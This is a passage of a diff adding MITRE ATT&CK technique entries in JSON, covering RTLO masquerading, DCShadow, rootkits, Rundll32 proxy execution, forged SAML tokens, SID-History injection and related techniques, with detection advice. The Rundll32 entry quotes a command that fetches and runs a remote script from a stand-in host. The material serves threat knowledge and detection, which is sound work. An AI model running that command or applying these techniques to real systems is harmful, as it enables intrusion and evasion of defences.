RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Detection methods should include looking for common formats of RTLO characters within filenames such as \\u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1036/002", + "external_id": "T1036.002", + "source_name": "mitre-attack" + }, + { + "url": "https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/", + "description": "Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.", + "source_name": "Infosecinstitute RTLO Technique" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/", + "description": "Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.", + "source_name": "Trend Micro PLEAD RTLO" + }, + { + "url": "https://securelist.com/zero-day-vulnerability-in-telegram/83800/", + "description": "Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.", + "source_name": "Kaspersky RTLO Cyber Crime" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Rogue Domain Controller", + "x_mitre_data_sources": [ + "Active Directory: Active Directory Object Creation", + "Active Directory: Active Directory Object Modification", + "Network Traffic: Network Traffic Content", + "User Account: User Account Authentication" + ], + "x_mitre_version": "2.0", + "modified": "2021-02-09T15:13:27.670Z", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a", + "x_mitre_defense_bypassed": [ + "Log analysis" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)", + "x_mitre_contributors": [ + "Vincent Le Toux" + ], + "x_mitre_detection": "Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \u201cGC/\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\u20134B06\u201311D1-AB04\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1207", + "external_id": "T1207", + "source_name": "mitre-attack" + }, + { + "source_name": "DCShadow Blog", + "description": "Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.", + "url": "https://www.dcshadow.com/" + }, + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + }, + { + "source_name": "GitHub DCSYNCMonitor", + "description": "Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.", + "url": "https://github.com/shellster/DCSYNCMonitor" + }, + { + "source_name": "Microsoft DirSync", + "description": "Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.", + "url": "https://msdn.microsoft.com/en-us/library/ms677626.aspx" + }, + { + "source_name": "ADDSecurity DCShadow Feb 2018", + "description": "Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.", + "url": "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Rootkit", + "x_mitre_data_sources": [ + "Drive: Drive Modification", + "Firmware: Firmware Modification" + ], + "x_mitre_version": "1.1", + "modified": "2020-06-20T22:29:55.496Z", + "created": "2017-05-31T21:30:26.496Z", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "root" + ], + "x_mitre_defense_bypassed": [ + "File monitoring", + "Host intrusion prevention systems", + "Application control", + "Signature-based detection", + "System access controls", + "Application control by file name or path", + "Anti-virus" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "description": "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1014", + "external_id": "T1014", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/552.html", + "external_id": "CAPEC-552", + "source_name": "capec" + }, + { + "source_name": "Symantec Windows Rootkits", + "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.", + "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf" + }, + { + "source_name": "Wikipedia Rootkit", + "description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.", + "url": "https://en.wikipedia.org/wiki/Rootkit" + }, + { + "source_name": "CrowdStrike Linux Rootkit", + "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.", + "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/" + }, + { + "source_name": "BlackHat Mac OSX Rootkit", + "description": "Pan, M., Tsai, S. (2014). You can\u2019t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.", + "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Run Virtual Instance", + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Creation", + "Command: Command Execution", + "Service: Service Creation", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-14T22:21:59.708Z", + "created": "2020-06-29T15:36:41.535Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)", + "x_mitre_contributors": [ + "Johann Rehberger", + "Janantha Marasinghe", + "Menachem Shafran, XM Cyber" + ], + "x_mitre_detection": "Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\n\nConsider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \"all\").\n\nMonitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \n\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1564/006", + "external_id": "T1564.006", + "source_name": "mitre-attack" + }, + { + "url": "https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx", + "description": "Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020.", + "source_name": "SingHealth Breach Jan 2019" + }, + { + "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.", + "source_name": "Sophos Ragnar May 2020" + }, + { + "url": "https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/", + "description": "Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021.", + "source_name": "Shadowbunny VM Defense Evasion" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-31T19:01:41.919Z", + "name": "Rundll32", + "created": "2017-05-31T21:31:06.045Z", + "id": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1085", + "external_id": "T1085", + "source_name": "mitre-attack" + }, + { + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.", + "source_name": "Trend Micro CPL" + }, + { + "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/", + "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.", + "source_name": "This is Security Command Line Confusion" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Rundll32", + "x_mitre_data_sources": [ + "File: File Metadata", + "Process: Process Creation", + "Command: Command Execution", + "Module: Module Load" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-14T21:45:53.057Z", + "created": "2020-01-23T18:03:46.248Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "x_mitre_defense_bypassed": [ + "Digital Certificate Validation", + "Application control", + "Anti-virus" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll)", + "x_mitre_contributors": [ + "Gareth Phillips, Seek Ltd.", + "Casey Smith", + "Ricardo Dias" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\n\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1218/011", + "external_id": "T1218.011", + "source_name": "mitre-attack" + }, + { + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.", + "source_name": "Trend Micro CPL" + }, + { + "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/", + "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.", + "source_name": "This is Security Command Line Confusion" + }, + { + "url": "https://www.attackify.com/blog/rundll32_execution_order/", + "description": "Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.", + "source_name": "Attackify Rundll32.exe Obscurity" + }, + { + "url": "https://github.com/gtworek/PSBits/tree/master/NoRunDll", + "description": "gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.", + "source_name": "Github NoRunDll" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-02T14:30:49.400Z", + "name": "Runtime Data Manipulation", + "created": "2019-04-09T16:09:22.173Z", + "id": "attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1494", + "external_id": "T1494", + "source_name": "mitre-attack" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1092091/download", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "source_name": "DOJ Lazarus Sony 2018" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-28T23:10:34.359Z", + "name": "Runtime Data Manipulation", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "File: File Creation", + "File: File Deletion", + "File: File Modification", + "File: File Metadata" + ], + "x_mitre_version": "1.0", + "created": "2020-03-02T14:30:05.252Z", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490", + "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_detection": "Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1565/003", + "external_id": "T1565.003", + "source_name": "mitre-attack" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1092091/download", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "source_name": "DOJ Lazarus Sony 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "SAML Tokens", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Web Credential: Web Credential Creation", + "Web Credential: Web Credential Usage" + ], + "x_mitre_version": "1.2", + "modified": "2021-09-20T16:47:19.173Z", + "created": "2020-12-17T15:24:12.240Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Azure AD", + "SaaS", + "Windows", + "Office 365", + "Google Workspace", + "IaaS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", + "description": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)", + "x_mitre_contributors": [ + "Jen Burns, HubSpot", + "Blake Strom, Microsoft 365 Defender", + "Oleg Kolesnikov, Securonix" + ], + "x_mitre_detection": "This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\n\nConsider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1606/002", + "external_id": "T1606.002", + "source_name": "mitre-attack" + }, + { + "url": "https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/", + "description": "Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.", + "source_name": "Microsoft SolarWinds Steps" + }, + { + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes", + "description": "Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.", + "source_name": "Microsoft SAML Token Lifetimes" + }, + { + "url": "https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps", + "description": "Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.", + "source_name": "Cyberark Golden SAML" + }, + { + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", + "source_name": "Microsoft SolarWinds Customer Guidance" + }, + { + "url": "https://www.sygnia.co/golden-saml-advisory", + "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.", + "source_name": "Sygnia Golden SAML" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-18T18:35:21.493Z", + "name": "SID-History Injection", + "created": "2018-01-16T16:13:52.465Z", + "id": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1178", + "external_id": "T1178", + "source_name": "mitre-attack" + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx", + "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.", + "source_name": "Microsoft SID" + }, + { + "source_name": "Microsoft SID-History Attribute", + "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.", + "url": "https://msdn.microsoft.com/library/ms679833.aspx" + }, + { + "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems", + "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.", + "source_name": "Microsoft Well Known SIDs Jun 2017" + }, + { + "url": "https://technet.microsoft.com/library/ee617241.aspx", + "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.", + "source_name": "Microsoft Get-ADUser" + }, + { + "url": "https://adsecurity.org/?p=1772", + "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.", + "source_name": "AdSecurity SID History Sept 2015" + }, + { + "source_name": "Microsoft DsAddSidHistory", + "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.", + "url": "https://msdn.microsoft.com/library/ms677982.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "SID-History Injection", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "User Account: User Account Metadata", + "Active Directory: Active Directory Object Modification" + ], + "x_mitre_version": "1.0", + "modified": "2021-02-09T15:49:58.414Z", + "created": "2020-02-18T18:34:49.414Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).", + "x_mitre_contributors": [ + "Alain Homewood, Insomnia Security", + "Vincent Le Toux" + ], + "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1134/005", + "external_id": "T1134.005", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft SID", + "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx" + }, + { + "source_name": "Microsoft SID-History Attribute", + "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.", + "url": "https://msdn.microsoft.com/library/ms679833.aspx" + }, + { + "source_name": "Microsoft Well Known SIDs Jun 2017", + "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.", + "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems" + }, + { + "source_name": "Microsoft Get-ADUser", + "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/ee617241.aspx" + }, + { + "source_name": "AdSecurity SID History Sept 2015", + "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.", + "url": "https://adsecurity.org/?p=1772" + }, + { + "source_name": "Microsoft DsAddSidHistory", + "description": "Microsoft. (n.d.). Using 